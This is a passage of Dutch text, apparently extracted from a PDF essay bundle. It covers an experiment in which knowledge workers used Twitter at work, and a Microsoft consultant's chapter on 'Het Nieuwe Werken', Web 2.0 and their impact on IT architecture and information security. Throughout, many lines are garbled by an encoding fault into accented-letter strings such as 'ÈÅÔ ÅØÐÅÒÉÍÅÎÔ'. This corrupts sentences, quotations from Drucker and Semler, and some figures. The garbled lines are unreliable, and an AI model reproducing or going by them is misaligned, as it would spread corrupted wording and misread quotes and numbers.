gemaakt van Twitter (2009). Dit middel biedt mensen de mogelijkheid om in 140 

karakters te vertellen wat ze aan het doen zijn en hoe ze zich voelen. Alleen personen 

die aangegeven hebben geïnteresseerd te zijn in je berichten ontvangen die ook. De 

tool biedt je de mogelijkheid om je boodschappen af te schermen, waardoor alleen 

mensen die jij expliciet toestemming hebt gegeven deze berichten kunnen lezen.  
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Aan ons experiment deden 19 kenniswerkers uit 2 organisaties mee. 5 van deze 

proefpersonen hadden al eerder gebruik gemaakt van Twitter, 14 niet. Voorafgaand aan 

ÈÅÔ ÅØÐÅÒÉÍÅÎÔ ÈÅÂÂÅÎ ×Å ÅÅÎ ȰÓÏÃÉÁÌÅ ÍÅÄÉÁ ÍÁÒËÔȱ ÇÅÈÏÕÄÅÎ ×ÁÁÒÉÎ ÖÅÒÓÃÈÉÌÌÅÎÄÅ 

vormen van sociale media, hun gebruik en voor- en nadelen besproken zijn. Het 

experiment duurde 2 maanden, waarin we de proefpersonen gevraagd hebben om 

actief gebruik te maken van Twitter. Na de periode van 2 maanden hebben we een 

evaluatieworkshop gehouden en de proefpersonen een vragenlijst in laten vullen. 

Hierbij moesten ze aangeven in hoeverre ze het eens waren met een tiental stellingen. 

De antwoorden liepen op een 5-ÐÕÎÔÓ ÓÃÈÁÁÌ ÖÁÎ ȰÚÅÅÒ ÏÎÅÅÎÓȱ ɉ-άɊ ÎÁÁÒ ȰÅÅÎÓȱ ɉάɊȢ 

 

Uitkomsten van de experimenten  

De resultaten van het experiment, samengevat in het volgende figuur, laten zien dat de 

proÅÆÐÅÒÓÏÎÅÎ ÖÉÎÄÅÎ ÄÁÔ 4×ÉÔÔÅÒ ÈÅÌÐÔ ÏÍ ÈÕÎ ÃÏÌÌÅÇÁȭÓ ÂÅÔÅÒ ÔÅ ÌÅÒÅÎ ËÅÎÎÅÎȟ ÖÏÏÒÁÌ 

ook als persoon. Verder vonden ze de software eenvoudig in het gebruik en gaven ze 

ÁÁÎ ÄÁÔ ÄÅ ÔÏÏÌ ÉÎÓÐÉÒÅÒÅÎÄ ×ÁÓ ÅÎ ÈÉÅÌÐ ÏÍ ÉÎÆÏÒÍÁÔÉÅ ÕÉÔ ÔÅ ×ÉÓÓÅÌÅÎ ÍÅÔ ÃÏÌÌÅÇÁȭÓȢ 
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Opvallend was dat de proefpersonen aangaven dat Twitter juist niet helpt om een 

expert op een bepaald gebied te vinden. Verder gaven ze ook aan dat de tool niet helpt 

om informatie over een specifiek 

onderwerp terug te vinden. In 

de mondelinge toelichting bleek 

dat het lastig was om de 

verschillende bijdragen aan een 

conversatie te volgen en dat het 

merendeel van de berichten een 

zeer informeel karakter had. 

 

Samengevat waren de vier 

belangrijkste uitkomsten van de 

experimenten: 

1. Microbloggen is niet voor iedereen. Het delen van korte boodschappen over 
wat je doet moet passen bij je persoonlijkheid. Ongeveer 50% van de 
proefpersonen maakte regelmatig gebruik van de tool. 

2. -ÉÃÒÏÂÌÏÇÇÅÎ ÈÅÌÐÔ ÏÍ ÊÅ ÃÏÌÌÅÇÁȭÓ ÂÅÔÅÒ ÔÅ ÌÅÒÅÎ ËÅÎÎÅÎȢ 7ÁÁÒ ÌÉÇÇÅÎ ÈÕÎ 
passies, wat houdt ze bezig? 

3. Voor het vinden van informatie over een specifiek onderwerp of het vinden van 
een expert op een specifiek gebied is microblogging niet geschikt. 

4. Medewerkers vinden het moeilijk om microbloggen een onderdeel te laten 
worden van hun normale werkroutines.  
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Ȱ#ÏÎÔÒÏÌ ÉÎ ÓÏÃÉÁÌ ÍÅÄÉÁ ÉÓ ÌÉËÅ ÇÒÁÂÂÉÎÇ ×ÁÔÅÒȡ 

the stronger you grab, the less you hold. 

There is a right way to retain water, 

ÂÕÔ ÎÏÔ ÂÙ ÂÅÉÎÇ ÆÏÒÃÅÆÕÌȱ 

 

Praktische tips  

Vanuit een organisatie perspectief komen wij op basis van deze experimenten en onze 

eerdere ervaringen met het toepassen van sociale media binnen organisaties tot de 

volgende drie praktische tips: 

1. Zet concrete en bij voorkeur meetbare doelen. Bijvoorbeeld: na de introductie 
van de nieuwe technologie moet er minimaal 30% minder e-mail naar het hele 
team gestuurd worden. 

2. Begin met een kleinschalig experiment met één groep. Zorg dat de software 
beschikbaar komt en, minstens zo belangrijk, zoek uit hoe het hulpmiddel in te 
passen is in de normale werkprocessen van het team. 

3. Vertrouw je mensen. Natuurlijk kan microblogging, net als e-mail en de 
telefoon, door medewerkers gebruikt worden om informatie te lekken of om 
uitspraken te doen die niet in lijn zijn met de standpunten van het bedrijf. 
Toch lijkt het verstandiger om je mensen te ondersteunen om de tools op een 
verstandige manier in te zetten, dan 
om controle proberen uit te oefenen 
over de inhoud. Sprekend hierbij is 
de uitspraak van Pauline Ores van 
IBM: 

 

 

Vanuit een persoonlijk perspectief komen wij tot de volgende drie tips als je gebruik 

gaat maken van sociale media: 

1. Wees jezelf. De aard van sociale media is zo dat mensen een persoonlijk 
verhaal, een persoonlijke mening verwachten, niet alleen het officiële 
standpunt van de organisatie. 

2. 'Á ÏÎÌÉÎÅ ÄÅ ÃÏÎÖÅÒÓÁÔÉÅ ÁÁÎȢ ,ÅÇ ÖÅÒÂÉÎÄÉÎÇÅÎ ÍÅÔ ÃÏÌÌÅÇÁȭÓȟ ÐÌÁÁÔÓ 
commentaar, stel vragen en zorg door je activiteit dat anderen jou gaan vinden. 

3. Verzamel en deel ervaringen. Deel succesverhalen, maar ook voorbeelden van 
waar het fout ging. Analyseer wat erg gebeurde en probeer ervan te leren. 

 

Conclusies  

Het nieuwe werken, met de bijbehorende mobiliteit en de vrijheid om te werken 

wanneer dat het meest effectief is kan de verbonden tussen ÃÏÌÌÅÇÁȭÓ ÏÎÄÅÒ ÄÒÕË 

zetten. Men komt elkaar minder tegen en loopt daardoor de kans dat de 

kennisuitwisseling vermindert, mensen elkaar minder goed weten te vinden en niet 

meer op de hoogte zijn van elkaars expertise en passies. Sociale media kunnen hierbij 

helpen: onze experimenten en eerdere ervaringen met deze middelen laten zien dat 

ÂÉÊÖÏÏÒÂÅÅÌÄ ÍÉÃÒÏÂÌÏÇÇÉÎÇ ÈÅÌÐÔ ÏÍ ÊÅ ÃÏÌÌÅÇÁȭÓ ÂÅÔÅÒ ÔÅ ÌÅÒÅÎ ËÅÎÎÅÎ ÅÎ ÏÍ ÓÎÅÌ ÅÎ 

op het meest geschikte moment contact met elkaar op te kunnen nemen. Toch is 

microblogging niet voor iedereen: het delen van korte berichten met een grotere groep 
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moet passen bij je persoonlijkheid en ook blijken mensen het soms moeilijk te vinden 

ÏÍ ÚÏȭÎ ÎÉÅÕ× ÍÉÄÄÅÌ ÅÅÎ ÐÌek te geven in normale werkroutines. Om uit te vinden 

wat wel en wat niet werkt in jouw specifieke situatie is het daarom belangrijk te 

ÅØÐÅÒÉÍÅÎÔÅÒÅÎ ÅÎ ÓÁÍÅÎ ÍÅÔ ÊÅ ÃÏÌÌÅÇÁȭÓ ÔÅ ÌÅÒÅÎ ÖÁÎ ÄÅ ÅÒÖÁÒÉÎÇÅÎȢ  
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Het Nieuwe Werken, de impact op 

architectuur   

Bijdrage aan NAF Insight bundel 

 

Enterprise Strategy Consultant 

Sjors.Dignum@microsoft.com 

Inleiding  

Dit hoofdstuk gaat in op 2 belangrijke, actuele ontwikkelingen met impact op de 

Informatie Technologie: Het Nieuwe Werken en Web 2.0. Dit zijn ontwikkelingen die 

zijn ontstaan vanuit de eindgebruikers; mensen die nieuwe wegen hebben gevonden 

om het bestaande werk efficiënter te maken of nieuwe wegen hebben gevonden om 

nieuwe activiteiten te ontwikkelen op het internet.  

Beide ontwikkelingen zijn mogelijk geworden dankzij technologische innovaties, maar 

zijn vooral gedreven door individuele gebruikers. In beide gevallen is kennis opgedaan 

over de randvoorwaarden om de ontwikkeling met succes te laten voltrekken. Een van 

deze randvoorwaarden is het maken van aanpassingen in de IT functie van een 

organisatie in het algemeen, en van de IT architectuur in het bijzonder.  

Trends  

 

Het Nieuwe werken  

Ȱ$Å ÇÒÏÏÔÓÔÅ ÖÅÒÄÉÅÎÓÔÅ ÖÁÎ ÈÅÔ ÍÁÎÁÇÅÍÅÎÔ ÉÎ ÄÅ άΪÅ ÅÅÕ× ÉÓ ÄÅ ίΪ-voudige 

verbetering van de productiviteit van de fabriekswerker. De grootste uitdaging van het 

management voor de 21e eeuw is om de productiviteit van de kenniswerker op een 

ÖÅÒÇÅÌÉÊËÂÁÒÅ ×ÉÊÚÅ ÔÅ ÖÅÒÂÅÔÅÒÅÎȢȱ $ÉÔ ÚÉÊÎ ÄÅ ×ÏÏÒÄÅÎ ÄÉÅ 0ÅÔÅÒ $ÒÕÃËÅÒ ÏÐ βγ ÊÁÒÉÇÅ 

leeftijd schreef aan de vooravond van de 21e eeuw (Drucker, 1999).  

De meest voorkomende manier waarop organisaties de productiviteit proberen te 

verhogen is door steeds meer (werk)druk op de werknemer te leggen. De IT stelt de 

mens in staat om altijd en overal te kunnen werken en veel organisaties ɀ inclusief hun 

medewerkers - vertalen dat in een mentale verplichting om dan ook altijd en overal 
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beschikbaar te zijn voor het werk. Dat leidt tot een zevendaagse werkweek waarin de 

werker nooit meer kan ontsnappen aan zijn werk; zelfs niet tijdens zijn vakantie. Dat 

gaat op termijn niet goed en leidt tot destructieve roofbouw op de werkende mens, 

ÚÏÁÌÓ ÄÅ "ÒÁÚÉÌÉÁÁÎÓÅ ÏÎÄÅÒÎÅÍÅÒ ÅÎ ÓÃÈÒÉÊÖÅÒ 2ÉÃÁÒÄÏ 3ÅÍÌÅÒ ÇÏÅÄ ÖÅÒ×ÏÏÒÄÔȡ Ȱ7Å 

have to find a way for work to work. The seven-day workweek is shaping up as a 

personal, societal and business disaster. It robs people of passion and pleasure, 

destroys family and community stability, and sets up business organizations to 

ÕÌÔÉÍÁÔÅÌÙ ÆÁÉÌ ÏÎÃÅ ÔÈÅÙȭÖÅ ÂÕÒÎÅÄ ÏÕÔ ÔÈÅÉÒ ÅÍÐÌÏÙÅÅÓ ÁÎÄ ÂÕÒÎÅd through ever more 

ÍÁÎÉÐÕÌÁÔÉÖÅ ÁÎÄ ÏÐÐÒÅÓÓÉÖÅ ÓÔÒÁÔÅÇÉÅÓȱ ɉ3ÅÍÌÅÒȟ άΪΪήɊȢ Semler pleit voor meer balans 

in het werken en leven. 

De visie op het nieuwe werken is dat zowel de effectiviteit als de efficiëntie van het 

×ÅÒË ÓÔÒÕÃÔÕÒÅÅÌ ÚÁÌ ÔÏÅÎÅÍÅÎ ÄÏÏÒ ÄÅ ȬÐÒÏÄÕÃÔÉÅÆÁÃÔÏÒȭ ÍÅÎÓ ÃÅÎÔÒÁÁÌ ÔÅ ÓÔÅÌÌÅÎ ÅÎ 

veel beter te benutten. En dat gaat niet door die mens steeds maar meer werk(druk) te 

geven, hem vurig aan te jagen en intensief te controleren, maar integendeel door die 

mens veel meer te respecteren en te vertrouwen en hem meer vrijheid en 

verantwoordelijkheid te geven bij het inrichten en uitvoeren van zijn werk. Dat wil 

zeggen meer vrijheid om te bepalen hoe hij zijn werk doet, waar hij zijn werk doet en 

wanneer hij zijn werk doet. Alleen dan kunnen we op termijn voldoen aan de opdracht 

van Drucker zonder in de valkuit van Semler te vallen. 

Het Nieuwe Werken stelt een integrale aanpak voor langs vier lijnen: IT, fysieke 

werkplek, organisatie en tenslotte de mentaliteit van manager en medewerker.  

Deze integrale aanpak voor Het Nieuwe Werken wordt elders1 uitvoerig beschreven.  

Trend: Web 2.0  

Er bestaat geen formele web 2.0 definitie, maar de meeste zijn het er over eens dat web 

2.0 de opvolging is van web 1.0. Waar web 1.0 gezien wordt als het information-only 

web, brengt web 2.0 de interactiviteit en rijkere gebruikersfunctionaliteit naar voren.  

Web 2.0 moet echter niet gezien worden als een update van web 1.0, maar meer als een 

uitbreiding van de technische standaarden en mogelijkheden en moet meer gezien 

worden als de manier hoe gebruikers, en dus ook software ontwikkelaars het nieuwe 

web gebruiken.  

Over het algemeen is web 2.0 te beschrijven op basis van drie basiskenmerken zoals 

ook beschreven in [Michael Widjaja, Evolutie van het Web]: 

¶ Het collaboratief en participatief platform aspect 

¶ De bredere gebruikersondersteuning en toegankelijkheid  

¶ De integratie standaardisatie 
 

  

                                                      
1 Het Nieuwe Werken, Dik Bijl, ISBN 978 90 12 11948 1, Academic Service/Sdu Uitgevers, 2007 
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Uitgangspunten voor Het Nieuwe Werken en Web 2.0  

Om te komen tot een aantal uitgangspunten is het van belang om naar de 

overeenkomsten te kijken tussen Het Nieuwe Werken en Web 2.0 als trends. Bij wijze 

van samenvatting volgt hieronder een korte opsomming van een aantal 

gemeenschappelijke factoren van deze trends. Deze factoren vormen de nieuwe 

uitgangspunten voor het vormgeven van de IT functie in de toekomst. Principes voor 

het vormgeven van de organisatie, en voor het veranderen van het gedrag van de 

werknemers zijn zeker ook van belang maar worden hier niet beschouwd.  

Vrijheid voor de eindgebruiker.  Het Nieuwe Werken voorspelt dat de productiviteit 

en de loyaliteit naar de organisatie  zal toenemen naarmate kenniswerkers meer 

vrijheid krijgen in het vormgeven van de werkomgeving die past bij hun werk- en 

levensstijl. Een van de kenmerken van Web 2.0 is dat mensen steeds meer vrijheden 

krijgen om intuïtiever, met en zonder PC, toegang te krijgen tot informatie die men 

nodig heeft om zijn/haar werk in te richten. Het aspect van vrijheid voor de 

eindgebruiker om zelf meer keuzes te maken welke IT middelen gebruikt worden, en 

hoe deze worden gebruikt zal belangrijker worden.  

Voorzieningen voor samenwerking . In de gedachte van Het Nieuwe Werken zullen 

groepen binnen een organisatie meer zelfstandig moeten beslissen hoe invulling 

gegeven moet worden aan bedrijfsdoelstellingen voor de betreffende groep. Om dit 

mogelijk te maken moeten voorzieningen beschikbaar zijn om de samenwerking te 

faciliteren. In de gedachte van Web 2.0 is het van belang dat mensen kennis met elkaar 

delen, elkaar kunnen beïnvloeden en sociale netwerken gebruiken om een grotere 

kennismassa te mobiliseren. In beide gevallen zullen goede voorzieningen voor het 

ÄÅÌÅÎ ÖÁÎ ÄÏÃÕÍÅÎÔÅÎȟ ÄÉÓÃÕÓÓÉÅÓȟ ÁÃÔÉÅÐÕÎÔÅÎȟ ÁÇÅÎÄÁȭÓȟ ×ÅÒËÓÔÒÏÍÅÎȟ ÅȢÄȢ 

beschikbaar moeten zijn, die men zelf eenvoudig kan vormgeven en onderhouden. 

Ontsluiting van  informatie .  Eén van de gedachtes van Web 2.0 is dat het 

innovatieve vermogen van mensen toeneemt naarmate men meer toegang krijgt tot 

relevante informatie buiten een organisatie, en deze informatie kan omzetten in 

nieuwe inzichten door verschillende informatiebronnen te kunnen integreren en 

combineren. Hiervoor moet een index beschikbaar zijn om relevante informatie terug 

te kunnen vinden. Het inzicht kan nog verder vergroot worden als de uitkomst van een 

zoekopdracht verrijkt wordt met andere informatie.   

Lead by example. Zowel Het Nieuwe Werken als Web 2.0 vereisen een bottom-up 

aanpak waarbij het management vooral een faciliterende rol speelt. Er zullen in een 

organisatie altijd mensen zijn die de toegevoegde waarde sneller inzien, en wellicht 

ook handiger zijn om de nieuwe werkwijze zich eigen te maken. Deze mensen moeten 

de ruimte krijgen om de ervaringen binnen de organisatie uit te dragen. Zowel om 

andere mensen binnen de organisatie enthousiast te krijgen, als om de organisatie te 

behoeden voor valkuilen.  
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Werkafspraken. Voor al deze uitgangspunten geldt dat goede werkafspraken tussen 

de betrokkenen randvoorwaardelijk zijn, net als het aanbrengen van een stimulans om 

de betrokkenen ertoe te bewegen om dit ook werkelijk in de praktijk te brengen.  

Or ganisatiestructuur en cultuur . Zowel Het Nieuwe Werken als Web 2.0 zijn 

ontwikkelingen die zijn ontstaan vanuit eindgebruikers met een duidelijke drijfveer 

om bestaande patronen te doorbreken om per saldo effectiever en efficiënter te 

worden. Deze ontwikkeÌÉÎÇÅÎ ÚÕÌÌÅÎ ÄÕÓ ÅÅÒÄÅÒ ÓÕÃÃÅÓÖÏÌ ÚÉÊÎ ÉÎ ȬÐÌÁÔÔÅȭ ÏÒÇÁÎÉÓÁÔÉÅÓ 

waar ondernemerschap in woord en daad wordt beleefd, dan in hiërarchische 

gestuurde organisaties. Bereidheid van de betrokkenen om nieuwe werkwijzen in de 

praktijk te brengen en het hebben van enig doorzettingsvermogen zijn de belangrijkste 

succes factoren gebleken.  

 

Analyse  

Met de hierboven beschreven achtergronden en de kenmerken van Het Nieuwe 

Werken en Web 2.0 kan men zich wellicht een beeld vormen van de mogelijkheden 

hiervan binnen de eigen organisatie. Er zijn echter een aantal instrumenten 

beschikbaar om een analyse toe te passen op de eigen organisatie. Met de uitkomst van 

deze analyse ontstaat een beter beeld van het uitgangspunt van de eigen organisatie op 

een aantal relevante kenmerken. Op basis van de ambitie van de organisatie kan op dit 

beeld ook in meer detail geprojecteerd worden op welke onderdelen ontwikkeling 

moet plaatsvinden, en in welke volgorde.    

IMPACT 

IMPACT is een methodiek waarmee organisaties op een planmatige wijze Het Nieuwe 

Werken als visie kunnen implementeren. Deze methodiek is ontwikkeld door 

Microsoft Services op basis van de ervaringen die in de praktijk zijn opgedaan met het 

in de praktijk brengen van het Nieuwe Werken bij een aantal Nederlandse 

organisaties. IMPACT beschrijft een aantal aandachtsgebieden in een model, waarbij 

ieder aandachtsgebied wordt ondersteund door specifieke instrumenten en/of 

werksjablonen. Hieronder volgt een korte beschrijving van het IMPACT raamwerk van 

instrumenten. Meer informatie over IMPACT is te vinden op de website
2 van Microsoft 

Nederland. 

Het IMPACT model stelt de interactie tussen de eindgebruiker en technologie 

centraal. Het model is niet hiërarchisch ɀ wat wil zeggen dat er geen specifieke 

volgorde voor het uitvoeren van de bouwstenen geldt. Het model bestaat uit twee 

grote blokken;  

- Visievorming en Strategie.    
- Planning en Executie.   

                                                      
2 http://www.microsoft.com/netherland s/het_nieuwe_werken/default.aspx   

http://www.microsoft.com/netherlands/het_nieuwe_werken/default.aspx
http://www.microsoft.com/netherlands/het_nieuwe_werken/default.aspx
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IT architectuur  

Inleiding  

Architectuur beschrijvinÇÅÎ ÚÉÊÎ ÔÒÁÄÉÔÉÏÎÅÅÌ ÇÅÍÁÁËÔ ÏÍ ÒÉÓÉÃÏȭÓ ÔÅ ÒÅÄÕÃÅÒÅÎ ÄÉÅ ÚÉÃÈ 

in het verleden hebben voorgedaan bij de introductie van informatie technologie. Als 

de beveiliging of het beheer van deze technologie vanuit een IT project niet goed 

wordt geregeld ondervindt een organisatie op lange termijn nadelige consequenties. 

Dit kan zich voordoen in de vorm van de ondermijning van de vertrouwelijkheid of de 

integriteit van de te beheren informatie, van het niet kunnen leveren van het gewenste 

service niveau of door de grote moeite en tijd die het maken van aanpassingen met 

zich mee brengt. Omdat projecten vaak zijn ingericht om op korte termijn resultaat te 

boeken, is de IT architectuur functie ingericht om erop toe te zien dat binnen 

projecten de juiste ontwerpkeuzes worden gemaakt. Het doel van de architectuur 

beschrijving is om duidelijk te maken wat juist is en wat niet en waarom.  

Belanghebbenden  

In de gedachte van Het Nieuwe Werken en van Web 2.0  staat de rol van de 

eindgebruiker centraal. In deze filosofie zijn het de mensen die het verschil zullen 

maken voor een organisatie, in tegenstelling tot de processen of de systemen. Het 
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belang van het beheer en van de informatie beveiliging van systemen kunnen echter 

op gespannen voet staan met de belangen van eindgebruikers.  

Om het succes van de implementatie van Het Nieuwe Werken en of Web 2.0 

initiatieven binnen een organisatie te waarborgen is het essentieel dat het belang van 

de eindgebruikers nadrukkelijk wordt meegewogen bij het vaststellen van 

architectuurbeschrijvingen. Er moet hiervoor een nieuwe onderhandeling plaatsvinden 

tussen de vertegenwoordigers van de belangen van systems management/beheer, 

informatiebeveiliging en de eindgebruikers.  

 

De uitkomst hiervan kan zijn dat in sommige gevallen standaarden losgelaten kunnen 

worden omdat het verlies aan productiviteit niet opweegt tegen b.v. de reductie van 

een operationeel risico die wordt toegeschreven aan een beveiligingsmaatregel.  Bij het 

bepalen van deze gevallen is het belangrijk om de kennis over de gebruikerspopulatie 

ÇÏÅÄ ÉÎ ÂÅÅÌÄ ÔÅ ÈÅÂÂÅÎ ÍÉÄÄÅÌÓ 0ÅÒÓÏÎÁÓ ÅÎ 3ÃÅÎÁÒÉÏȭÓȢ   

De volgende paragrafen beschrijven de veranderingen die doorgevoerd moeten worden 

op verschillende onderdelen van de IT architectuur.  

Impact op taxonomie Infrastructuur diensten  

Het is van belang om de infrastructurele diensten die van belang van zijn voor de 

productiviteit van de eindgebruikers in de structuur van een architectuurbeschrijving 

herkenbaar te maken. Hiervoor kan gebruik worden gemaakt van de taxonomie van 

infrastructuur diensten die door Microsoft is gepubliceerd onder de noemer 

Infrastructure Optimization3. Deze taxonomie beschrijft 3 groepen infrastructuur 

functies:  

1. Business productivity infrastructure: de infrastructuur functies waar 
eindgebruikers het meeste belang bij hebben. Hieronder vallen de functies: 

                                                      
3 Zie http://technet.microsoft.com/infrastructure 
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a. Unified Communication 
b. Collaboration 
c. Enterprise Content Management 
d. Enterprise Search  
e. Business Intelligence 

2. Application infrastructure: de infrastructuur functies die van belang zijn voor 
de productiviteit van applicatieontwikkelaars.  Hieronder vallen de functies: 

a. Development 
b. SOA & Businenss process 
c. Data Management 
d. User experience 

3. Core infrastructure: de infrastructuur functies die randvoorwaardelijk zijn voor 
andere infrastructuur functies, en applicaties. Hieronder vallen de functies: 

a. Identity & Access management 
b. Desktop, Device & Server managment 
c. Security & Networking 
d. Data Protection and recovery 
e. IT & Security Process 

Het verdelen van de infrastuctuur diensten op deze manier heeft het voordeel dat het 

vaststellen van plannen en bijbehorende budgetten voor de ontwikkeling hiervan met 

de juiste belanghebbende gevoerd kan worden (zie vorige paragraaf). Voorwaarde is 

wel dat het eigendom van deze infrastructuur diensten end-to-end belegd zijn binnen 

de organisatie.  

Om zowel Web 2.0 als Het Nieuwe Werken als ontwikkeling te kunnen faciliteren 

binnen een organisatie zijn de Core infrastructure diensten randvoorwaardelijk. Voor 

Het Nieuwe Werken is daarnaast ook de groep business productivity infrastructure 

essentieel om behandeld te worden in de architectuur beschrijving.  

Impact op de organisatie van telefonie activiteiten  

Voor het beheer van de telefonie is van oudsher een groep binnen een organisatie 

actief die apart opereert van de groep die verantwoordelijk is voor IT beheer. De 

functionele behoefte om naast data ook spraak te gaan leveren via de bestaande IT 

infrastructuur zal de noodzaak om de telefonie groep met te integreren met de IT 

beheer groep groter maken. Met deze organisatorische aanpassing worden 

implementÁÔÉÅ ÒÉÓÉÃÏȭÓ ËÌÅÉÎÅÒ ÅÎ ËÁÎ ÅÅÎ ÏÐÔÉÍÁÌÅ ÄÉÅÎÓÔ ÁÁÎ ÄÅ ÅÉÎÄÇÅÂÒÕÉËÅÒÓ 

beschikbaar worden gesteld.  

Impact op Systems Management/Beheerprocessen  

De introductie van zowel Web 2.0 als Het Nieuwe Werken zal voor de 

beheerprocessen en voor de architectuurprincipes over systems management weinig 

impact hebben. De bestaande structuur kan hiervoor nog steeds gebruikt worden. De 

procesbeschrijvingen uit ITIL of die van MOF (Microsoft Operations Framework) zijn 

nog steeds van toepassing, en een IT beheerorganisatie kan zichzelf toetsen tegen 

bestaande volwassenheidsmodellen.  

Het komt voor dat IT organisaties voor de introductie van Web 2.0 en/of Het Nieuwe 

Werken nieuwe technologie componenten in exploitatie moet nemen. In dat geval is 
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het van belang dat een vertegenwoordiging van de eindgebruikers wordt 

georganiseerd, zodat een onderhandeling kan plaatsvinden tussen de (interne/externe) 

dienstverlener en het te leveren service level. Dit is voorwaardelijk om een goede 

afweging te kunnen maken tussen kosten, functionaliteit en dienstenniveau.  

Impact op Informatie beveiliging  

In een architectuurbeschrijving wordt vaak gebruik gemaakt van de decompositie van 

beveiligingsfuncties uit de code of practice for information security management 

(ISO/IEC 27002:2005). De hoofdstukken uit deze standaard geven een goed beeld van 

ÄÅ ÖÅÒÓÃÈÉÌÌÅÎÄÅ ÒÉÓÉÃÏȭÓ ×ÁÁÒ ÅÅÎ ÏÒÇÁÎÉÓÁÔÉÅ ÁÁÎ ÂÌÏÏÔÇÅÓÔÅÌÄ ×ÏÒÄÔ ÂÉÊ ÈÅÔ ÇÅÂÒÕÉË 

van IT, en van de zogenaamde security controls. Dit zijn de maatregelen in de vorm 

van beleid, processen, organisatiestructuren, en software- en/of hardware om deze 

ÒÉÓÉÃÏȭÓ ÔÏÔ ÅÅÎ ÁÁÎÖÁÁÒÄÂÁÁÒ ÎÉÖÅÁÕ ÔÅÒÕÇ ÔÅ ÂÒÅÎÇÅÎȢ $ÅÚÅ ÒÉÓÉÃÏȭÓ zijn in essentie nog 

steeds hetzelfde. Deze structuur kan intact worden gehouden voor de IT-

architectuurbeschrijving. Waar wel naar gekeken zal moeten worden is naar de 

implementatie van een aantal controls/beveiligingsmaatregelen.  

Het vaststellen van toegangsrechten en het classificeren van het afbreukrisico door de 

eigenaar van het eigendom van de informatie/een systeem (een asset) wordt 

belangrijker dan ooit tevoren. Eigenaren moeten zich namelijk uitspreken over de 

toegangsrechten en over het classificeren van het afbreukrisico. Hiervoor is het 

voorwaardelijk dat een overzicht bestaat van de gebruikerspopulatie, de kenmerken 

van de verschiÌÌÅÎÄÅ ÐÅÒÓÏÎÁÓȟ ÅÎ ×ÅÌËÅ ÓÃÅÎÁÒÉÏȭÓ ÖÏÏÒ ÄÅÚÅ ÐÅÒÓÏÎÁÓ ÒÅÌÅÖÁÎÔ ÚÉÊÎȢ 

Alleen op basis van de classificatie van de informatie/systemen is het mogelijk om de 

beveiligingsmaatregelen selectief toe te passen. In veel praktijken wordt het one-size-

fits-all principe toegepast door het ontbreken van deze classificatie, en door het 

ontbreken van de inbreng van het belang van de eindgebruikers in het maken van 

ontwerpbeslissingen van het stelsel van beveiligingsmaatregelen.  Op basis van de 

beveiligingsfuncties uit de code of practice for information security management kan 

gesteld worden dat de controls beschreven onder Asset Management dus goed 

geïmplementeerd zullen moeten zijn. Waar dit niet het geval is, moet dit als eerste 

worden geadresseerd.  

Een andere control die aandacht behoeft, is die van Network Access Protection. De 

wens van de eindgebruikers om toegang te krijgen tot bedrijfssystemen vanaf een 

werkplek die niet onder controle staat van de IT-beheerorganisatie zal het risico op het 

introduceren van kwaadaardige actieve content (malware als virussen, trojan horses et 

cetera) verhogen. Als tegenmaatregel hiervoor kan de introductie van een quarantaine 

functie in de netwerkinfrastructuur  soelaas bieden. Deze zorgt ervoor dat een 

verbinding vanaf een werkplek vanaf het publieke internet pas gemaakt wordt als deze 

werkplek een aantal inspecties met goed gevolg heeft doorstaan, bijvoorbeeld: is de 

firewall op de juiste manier geconfigureerd, is de anti-virussoftware up-to-date 

enzovoort. Hiervoor worden verschillende oplossingen geboden. Deze maatregel is een 

voorbeeld die vriendelijker is voor eindgebruikers dan het gangbare dichtzetten van 

netwerkpoorten en het selectief zijn in het toelaten van verbindingen van buiten de 
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organisatie. Bijkomend voordeel hiervan is dat de distributie van softwarepatches en 

het afdwingen van de juiste configuratieinstellingen hiermee ook geregeld kan worden. 

Zie bijvoorbeeld http://www.microsoft.com/windowsserver2008/en/us/nap-features.aspx  

 

http://www.microsoft.com/windowsserver2008/en/us/nap-features.aspx

